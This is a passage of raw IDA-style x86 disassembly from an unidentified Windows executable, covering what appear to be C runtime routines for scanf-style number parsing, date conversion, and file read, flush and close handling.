		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417860


loc_41B021:				; CODE XREF: sub_41A824+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B027:				; CODE XREF: sub_41A824+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B03F
		dec	[ebp+var_C]
		jz	short loc_41B063


loc_41B03F:				; CODE XREF: sub_41A824+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41AF80
; ---------------------------------------------------------------------------


loc_41B055:				; CODE XREF: sub_41A824+788j
					; sub_41A824+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41B063:				; CODE XREF: sub_41A824+756j
					; sub_41A824+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B149
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B149
; ---------------------------------------------------------------------------


loc_41B085:				; CODE XREF: sub_41A824+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B141


loc_41B08F:				; CODE XREF: sub_41A824+90Aj
		cmp	esi, 78h
		jz	short loc_41B0D3
		cmp	esi, 70h
		jz	short loc_41B0D3
		cmp	dword_43B7AC, 1
		jle	short loc_41B0AE
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B0B9
; ---------------------------------------------------------------------------


loc_41B0AE:				; CODE XREF: sub_41A824+87Cj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B0B9:				; CODE XREF: sub_41A824+888j
		test	eax, eax
		jz	short loc_41B133
		cmp	esi, 6Fh
		jnz	short loc_41B0CC
		cmp	ebx, 38h
		jge	short loc_41B133
		shl	edi, 3
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B0CC:				; CODE XREF: sub_41A824+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B0D3:				; CODE XREF: sub_41A824+86Ej
					; sub_41A824+873j
		cmp	dword_43B7AC, 1
		jle	short loc_41B0EB
		push	80h
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0EB:				; CODE XREF: sub_41A824+8B6j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B0F8:				; CODE XREF: sub_41A824+8C5j
		test	eax, eax
		jz	short loc_41B133
		push	ebx
		shl	edi, 4
		call	sub_41B249
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B10B:				; CODE XREF: sub_41A824+8A6j
					; sub_41A824+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B11D
		dec	[ebp+var_C]
		jz	short loc_41B141


loc_41B11D:				; CODE XREF: sub_41A824+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B08F
; ---------------------------------------------------------------------------


loc_41B133:				; CODE XREF: sub_41A824+897j
					; sub_41A824+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41B141:				; CODE XREF: sub_41A824+865j
					; sub_41A824+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B149
		neg	edi


loc_41B149:				; CODE XREF: sub_41A824+843j
					; sub_41A824+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B152
		and	[ebp+var_1C], 0


loc_41B152:				; CODE XREF: sub_41A824+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	short loc_41B18B
		inc	[ebp+var_34]


loc_41B165:				; CODE XREF: sub_41A824+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B17B
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B18B
; ---------------------------------------------------------------------------


loc_41B17B:				; CODE XREF: sub_41A824+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B188
		mov	[eax], edi
		jmp	short loc_41B18B
; ---------------------------------------------------------------------------


loc_41B188:				; CODE XREF: sub_41A824+95Ej
		mov	[eax], di


loc_41B18B:				; CODE XREF: sub_41A824+241j
					; sub_41A824+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B1D8
; ---------------------------------------------------------------------------


loc_41B196:				; CODE XREF: sub_41A824+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B205
		mov	ecx, off_43B5A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B1D8
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B213
		dec	[ebp+var_4]


loc_41B1D8:				; CODE XREF: sub_41A824+970j
					; sub_41A824+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B1EE
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B230
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B230
		mov	esi, eax


loc_41B1EE:				; CODE XREF: sub_41A824+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41A84E
		jmp	short loc_41B22A
; ---------------------------------------------------------------------------


loc_41B1FA:				; CODE XREF: sub_41A824+1F4j
					; sub_41A824+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B20A
; ---------------------------------------------------------------------------


loc_41B205:				; CODE XREF: sub_41A824+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B20A:				; CODE XREF: sub_41A824+9DFj
		call	sub_41B29A
		pop	ecx
		pop	ecx
		jmp	short loc_41B22A
; ---------------------------------------------------------------------------


loc_41B213:				; CODE XREF: sub_41A824+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B29A
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B29A
		add	esp, 10h


loc_41B22A:				; CODE XREF: sub_41A824+1Fj
					; sub_41A824+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B241


loc_41B230:				; CODE XREF: sub_41A824+9BDj
					; sub_41A824+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B244
		cmp	[ebp+var_15], al
		jnz	short loc_41B244
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B244
; ---------------------------------------------------------------------------


loc_41B241:				; CODE XREF: sub_41A824+A0Aj
		mov	eax, [ebp+var_34]


loc_41B244:				; CODE XREF: sub_41A824+A11j
					; sub_41A824+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A824	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B249	proc near		; CODE XREF: sub_41A824+7A3p
					; sub_41A824+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43B7AC, 1
		push	esi
		jle	short loc_41B263
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41B272
; ---------------------------------------------------------------------------


loc_41B263:				; CODE XREF: sub_41B249+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B272:				; CODE XREF: sub_41B249+18j
		test	eax, eax
		jnz	short loc_41B27C
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B27C:				; CODE XREF: sub_41B249+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B249	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B280	proc near		; CODE XREF: sub_41A824+1E1p
					; sub_41A824+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B292
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: sub_41B280+7j
		push	edx
		call	sub_41B582
		pop	ecx
		retn
sub_41B280	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B29A	proc near		; CODE XREF: sub_41A824+6Bp
					; sub_41A824+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B2B0
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC8F
		pop	ecx
		pop	ecx

locret_41B2B0:				; CODE XREF: sub_41B29A+5j
		retn
sub_41B29A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2B1	proc near		; CODE XREF: sub_41A824+63p
					; sub_41A824+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B2B7:				; CODE XREF: sub_41B2B1+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B280
		mov	edi, eax
		push	edi
		call	sub_41DC3D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B2B7
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2D5	proc near		; CODE XREF: sub_418000+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B391
		cmp	ebx, 8Ah
		jg	loc_41B391
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43BEE4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B314
		cmp	edi, 2
		jle	short loc_41B314
		inc	esi


loc_41B314:				; CODE XREF: sub_41B2D5+37j
					; sub_41B2D5+3Cj
		call	sub_41DCFD
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BE00
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B387
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B38D
		cmp	dword_43BE04, 0
		jz	short loc_41B38D
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41DF70
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B38D


loc_41B387:				; CODE XREF: sub_41B2D5+90j
		add	ecx, dword_43BE08


loc_41B38D:				; CODE XREF: sub_41B2D5+96j
					; sub_41B2D5+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B394
; ---------------------------------------------------------------------------


loc_41B391:				; CODE XREF: sub_41B2D5+13j
					; sub_41B2D5+1Fj
		or	eax, 0FFFFFFFFh


loc_41B394:				; CODE XREF: sub_41B2D5+BAj
		pop	ebx
		leave
		retn
sub_41B2D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B397	proc near		; CODE XREF: sub_4180DC+2Ap
					; sub_41E476+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_516C80
		jnb	loc_41B431
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B431
		push	edi
		call	sub_41E3E2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B410
		cmp	edi, 1
		jz	short loc_41B3DE
		cmp	edi, 2
		jnz	short loc_41B3F4


loc_41B3DE:				; CODE XREF: sub_41B397+40j
		push	2
		call	sub_41E3E2
		push	1
		mov	ebp, eax
		call	sub_41E3E2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41B410


loc_41B3F4:				; CODE XREF: sub_41B397+45j
		push	edi
		call	sub_41E3E2
		pop	ecx
		push	eax
		nop
		call	near ptr 7C809B47h
		test	eax, eax
		jnz	short loc_41B410
		nop
		call	near ptr 7C910331h
		mov	ebp, eax
		jmp	short loc_41B412
; ---------------------------------------------------------------------------


loc_41B410:				; CODE XREF: sub_41B397+3Bj
					; sub_41B397+5Bj ...
		xor	ebp, ebp


loc_41B412:				; CODE XREF: sub_41B397+77j
		push	edi
		call	sub_41E368
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41B42D
		push	ebp
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41B442
; ---------------------------------------------------------------------------


loc_41B42D:				; CODE XREF: sub_41B397+8Bj
		xor	eax, eax
		jmp	short loc_41B445
; ---------------------------------------------------------------------------


loc_41B431:				; CODE XREF: sub_41B397+Ej
					; sub_41B397+2Fj
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41B442:				; CODE XREF: sub_41B397+94j
		or	eax, 0FFFFFFFFh


loc_41B445:				; CODE XREF: sub_41B397+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B397	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B44A	proc near		; CODE XREF: sub_4180DC+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41B473
		test	al, 8
		jz	short loc_41B473
		push	dword ptr [esi+8]
		call	sub_417C62
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41B473:				; CODE XREF: sub_41B44A+Aj
					; sub_41B44A+Ej
		pop	esi
		retn
sub_41B44A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B475	proc near		; CODE XREF: sub_41B515+2Dp
					; sub_41B515+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41B487
		push	esi
		call	sub_41B515
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B487:				; CODE XREF: sub_41B475+7j
		push	esi
		call	sub_41B4B0
		test	eax, eax
		pop	ecx
		jz	short loc_41B497
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B497:				; CODE XREF: sub_41B475+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41B4AC
		push	dword ptr [esi+10h]
		call	sub_41E41F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B475+26j
		xor	eax, eax
		pop	esi
		retn
sub_41B475	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_4180DC+1Ap
					; sub_4183EE+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41B4FD
		test	ax, 108h
		jz	short loc_41B4FD
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B4FD
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41B4F6
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41B4FD
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41B4FD
; ---------------------------------------------------------------------------


loc_41B4F6:				; CODE XREF: sub_41B4B0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41B4FD:				; CODE XREF: sub_41B4B0+14j
					; sub_41B4B0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41B4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B50C	proc near		; CODE XREF: sub_41D677p
		push	1
		call	sub_41B515
		pop	ecx
		retn
sub_41B50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B515	proc near		; CODE XREF: sub_41B475+Ap
					; sub_41B50C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_516B60, esi
		jle	short loc_41B573


loc_41B526:				; CODE XREF: sub_41B515+5Cj
		mov	eax, dword_515B4C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41B56A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41B56A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41B550
		push	eax
		call	sub_41B475
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B56A
		inc	ebx
		jmp	short loc_41B56A
; ---------------------------------------------------------------------------


loc_41B550:				; CODE XREF: sub_41B515+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41B56A
		test	cl, 2
		jz	short loc_41B56A
		push	eax
		call	sub_41B475
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41B56A
		or	edi, eax


loc_41B56A:				; CODE XREF: sub_41B515+1Bj
					; sub_41B515+23j ...
		inc	esi
		cmp	esi, dword_516B60
		jl	short loc_41B526


loc_41B573:				; CODE XREF: sub_41B515+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41B57E
		mov	eax, edi


loc_41B57E:				; CODE XREF: sub_41B515+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B515	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B582	proc near		; CODE XREF: sub_418132+A9p
					; sub_4186EC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B656
		test	al, 40h
		jnz	loc_41B656
		test	al, 2
		jz	short loc_41B5A8
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B656
; ---------------------------------------------------------------------------


loc_41B5A8:				; CODE XREF: sub_41B582+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B5BC
		push	esi
		call	sub_41D568
		pop	ecx
		jmp	short loc_41B5C1
; ---------------------------------------------------------------------------


loc_41B5BC:				; CODE XREF: sub_41B582+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B5C1:				; CODE XREF: sub_41B582+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B65B
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B645
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B645
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B61A
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B603
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_516B80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B608
; ---------------------------------------------------------------------------


loc_41B603:				; CODE XREF: sub_41B582+6Bj
		mov	edi, offset dword_43BAD0


loc_41B608:				; CODE XREF: sub_41B582+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B61A
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B61A:				; CODE XREF: sub_41B582+62j
					; sub_41B582+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B637
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B637
		test	ch, 4
		jnz	short loc_41B637
		mov	dword ptr [esi+18h], 1000h


loc_41B637:				; CODE XREF: sub_41B582+9Fj
					; sub_41B582+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B645:				; CODE XREF: sub_41B582+55j
					; sub_41B582+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B656:				; CODE XREF: sub_41B582+Aj
					; sub_41B582+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B582	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65B	proc near		; CODE XREF: sub_418132+90p
					; sub_41B582+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_516C80
		jnb	loc_41B838
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:516B80h[eax*4]
		mov	eax, dword_516B80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41B838
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41B710
		test	dl, 2
		jnz	short loc_41B710
		test	dl, 48h
		jz	short loc_41B6D0
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B6D0
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B6D0:				; CODE XREF: sub_41B65B+56j
					; sub_41B65B+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C80180Eh
		test	eax, eax
		jnz	short loc_41B723
		nop
		call	near ptr 7C910331h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41B70B
		mov	dword_515884, 9
		mov	dword_515888, ecx
		jmp	loc_41B849
; ---------------------------------------------------------------------------


loc_41B70B:				; CODE XREF: sub_41B65B+99j
		cmp	eax, 6Dh
		jnz	short loc_41B717


loc_41B710:				; CODE XREF: sub_41B65B+4Cj
					; sub_41B65B+51j
		xor	eax, eax
		jmp	loc_41B84C
; ---------------------------------------------------------------------------


loc_41B717:				; CODE XREF: sub_41B65B+B3j
		push	eax
		call	sub_41C91A
		pop	ecx
		jmp	loc_41B849
; ---------------------------------------------------------------------------


loc_41B723:				; CODE XREF: sub_41B65B+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41B833
		test	edx, edx
		jz	short loc_41B748
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41B748
		or	al, 4
		jmp	short loc_41B74A
; ---------------------------------------------------------------------------


loc_41B748:				; CODE XREF: sub_41B65B+E2j
					; sub_41B65B+E7j
		and	al, 0FBh


loc_41B74A:				; CODE XREF: sub_41B65B+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41B82D


loc_41B762:				; CODE XREF: sub_41B65B+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41B81D
		cmp	al, 0Dh
		jz	short loc_41B77E
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41B80F
; ---------------------------------------------------------------------------


loc_41B77E:				; CODE XREF: sub_41B65B+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41B79C
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41B793
		add	[ebp+arg_8], 2
		jmp	short loc_41B7F1
; ---------------------------------------------------------------------------


loc_41B793:				; CODE XREF: sub_41B65B+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41B80F
; ---------------------------------------------------------------------------


loc_41B79C:				; CODE XREF: sub_41B65B+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C80180Eh
		test	eax, eax
		jnz	short loc_41B7C4
		nop
		call	near ptr 7C910331h
		test	eax, eax
		jnz	short loc_41B80B


loc_41B7C4:				; CODE XREF: sub_41B65B+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41B80B
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41B7E6
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41B7F1
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41B80F
; ---------------------------------------------------------------------------


loc_41B7E6:				; CODE XREF: sub_41B65B+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41B7F6
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41B7F6


loc_41B7F1:				; CODE XREF: sub_41B65B+136j
					; sub_41B65B+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41B80E
; ---------------------------------------------------------------------------


loc_41B7F6:				; CODE XREF: sub_41B65B+18Ej
					; sub_41B65B+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BA39
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41B80F


loc_41B80B:				; CODE XREF: sub_41B65B+167j
					; sub_41B65B+16Dj
		mov	byte ptr [edi],	0Dh


loc_41B80E:				; CODE XREF: sub_41B65B+199j
		inc	edi


loc_41B80F:				; CODE XREF: sub_41B65B+11Ej
					; sub_41B65B+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41B762
		jmp	short loc_41B82D
; ---------------------------------------------------------------------------


loc_41B81D:				; CODE XREF: sub_41B65B+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41B82D
		or	al, 2
		mov	[esi], al


loc_41B82D:				; CODE XREF: sub_41B65B+101j
					; sub_41B65B+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41B833:				; CODE XREF: sub_41B65B+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41B84C
; ---------------------------------------------------------------------------


loc_41B838:				; CODE XREF: sub_41B65B+12j
					; sub_41B65B+39j
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41B849:				; CODE XREF: sub_41B65B+ABj
					; sub_41B65B+C3j
		or	eax, 0FFFFFFFFh


loc_41B84C:				; CODE XREF: sub_41B65B+B7j
					; sub_41B65B+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B65B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B851	proc near		; CODE XREF: sub_41821A+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
